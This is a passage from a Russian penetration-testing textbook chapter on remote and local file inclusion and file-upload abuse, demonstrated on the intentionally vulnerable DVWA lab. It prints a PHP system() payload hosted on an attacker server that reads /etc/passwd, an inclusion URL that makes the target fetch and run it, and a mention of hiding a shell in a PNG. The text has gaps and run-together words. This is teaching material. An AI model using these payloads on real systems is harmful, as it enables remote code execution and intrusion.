Глава 5

Впредыдущих главах мы занимались настройкой нашей среды, знакомились с утилитами и даже обсуждали атаки на приложения в поисках легкой добычи.

Вэтой главе будем анализировать атаки с использованием включения файлов и их загрузки. Хотя данные типы атак не представляют особой сложности, они по-прежнему распространены. Уязвимости, где можно применять подобного рода атаки, существовали всегда и, похоже, в ближайшее время не исчезнут.

Локальное и удаленное внедрения файлов не единственные способы вос-

пользоваться приложением и скомпрометировать его. Эти атаки можно применять, даже если разработчики ограничили загрузку исполняемого кода на стороне сервера,как увидим позже в этой главе.Существуетеще удивительное количествоприложений,уязвимыхдлялокальноговнедрения файлов,злоупотреблений при загрузке файлов, а иногда и для удаленного внедрения.

Вэтой главе рассмотрим следующие темы:

удаленное внедрение файлов;локальное внедрение файлов;

злоупотребление загрузкой файлов;объединение уязвимостей в цепочку для выполнения кода.

Если вы какое-то время работали в сфере разработки корпоративных приложений, то, без сомнения, знаете, насколько часто возникают такие проб­ лемы. Пользовательские корпоративные приложения нередко создаются с учетом сроков, а не безопасности. Корпоративные веб-приложения не единственная проблема: кошмар, связанный с интернетом вещей (IoT), только набирает обороты. Большинство доступных по цене устройств, таких как Wi-Fi-маршрутизаторы или мягкие игрушки,подключенные к интернету,плохо спроектированы и после выпуска их в продажу никогда не обновляются. Ввиду множества ограничений,как финансовых,так и сточки зрения аппаратногообеспечения,безопасностьтакогоустройстванаходитсянаэлементарном уровне, если вообще имеется. IoT-устройства – это новые PHP-приложения 2000-х годов, и уязвимости, которые, как мы думали, исчезли, активно возвращаются.

ект Damn Vulnerable Web App (DVWA). Это конкретное приложение создано для того, чтобы с легкостью продемонстрировать самые популярные вебуязвимости, встречающиеся на практике. Все, от инъекции команд до XSS, можно протестировать с использованием трех уровней сложности: низкого, среднего и сложного.

DVWA доступен для скачивания в различных форматах, включая простой в использовании live CD: http://www.dvwa.co.uk.

Чтобы нам работалосьпроще,наш экземпляр DVWAбудетдоступен на сайте http://dvwa.app.internal.

Удаленное внедрение файлов

Несмотря на то что уязвимости, подверженные PHP-инъекциям, не так часто встречаются в современных приложениях, время от времени они все же появляются. Удаленное включение файлов было популярно еще на заре появления интернета и PHP. PHP известен тем, что позволял разработчикам реализовывать опасные функции.Функцииinclude() иrequire(),по существу,позволяливключатькодиздругихфайлов,либостогожедиска,либопосети.Этоделает веб-приложения более мощными и динамичными, но какой ценой? Передача пользовательских данных, содержащих конфиденциальную информацию, в функцию include() может скомпрометировать приложение или сервер.

Опасность внедрения файлов извне в серверный код довольно очевидна. PHP скачает внешний текст и интерпретирует его как код. Если внешний URLадрес контролируется злоумышленником,он можетслегкостью заразитьприложение.

В приведенном ниже примере уязвимость можно эксплуатировать с по­ мощью простой оболочки system(). На сервере c2.spider.ml, контролируемом злоумышленником,доступен текстовый файл, содержащий шелл-код.

root@kali:~# curl http://c2.spider.ml/test.txt

<?php system('cat /etc/passwd'); ?> root@kali:~#

Приложение DVWA уязвимо для атаки с использованием удаленного внед­ рения файлов по этому адресу:

http://dvwa.app.internal/vulnerabilities/fi/

Злоумышленники могут указать произвольную страницу с помощью параметра page, например:

Поскольку в параметре page нетнадлежащей очистки входныхданных,злоумышленники могут указать любой файл, который они хотят загрузить и отобразить на сервере, в том числе внешний файл, размещенный в другом месте. Затем злоумышленники могут дать указание уязвимому приложению dvwa. app.internal внедрить внешний файл, который будет обрабатываться как PHP-код,что в основном приведет к выполнению кода.

Мы можем указать полный URL-адрес для контролируемого злоумышленником адреса http://c2.spider.ml/test.txt в качестве страницы, которая должна быть внедрена так, как показано ниже.

http://dvwa.app.internal/vulnerabilities/fi/?page=

http://c2.spider.ml/test.txt

Рис.5.1. Приложение включает в себя удаленно размещенный код PHP, выполняет его и возвращает содержимое /etc/passwd

Как упоминалосьранее,уязвимости,подверженные атакам с использованием удаленного внедрения файлов, в современных приложениях встречаются реже, но благодаря IoT-устройствам с устаревшими библиотеками и пакетами они появляются снова.

Существуют допустимые основания разрешать функции include() получать код по сети. Приложения, возможно, были спроектированы, основываясь наэтомпринципе,ипереходвданномслучаеможетбытьслишкомзатратным.

Во всех прочих отношениях это по-прежнему действительное изображение в формате PNG. У большинства программ для визуализации не должно быть проблем с отображением содержимого – небольшого розового прямоугольника, как показано ниже (см. рис. 5.3).

Хотя DVWA на самом деле не будет проверять, имеет ли файл действительный PNG-заголовок, некоторые приложения могут это сделать. Даже если в веб-приложении используется более умная проверка, нежели обычная проверка типа «имя файла оканчивается на .png?», наша оболочка должна пройти незамеченной (см. рис. 5.4).

PNG-файл теперь можно загрузить через компонент DVWA: http://dvwa. app.internal/vulnerabilities/upload/.

DVWAлюбезно сообщаетнам,где приложение хранитнаш файл.В реальной ситуации нас не обязательно будет ждать такая удача. Нам бы пришлось полагаться на утечки информации об абсолютном пути, если бы этого требовала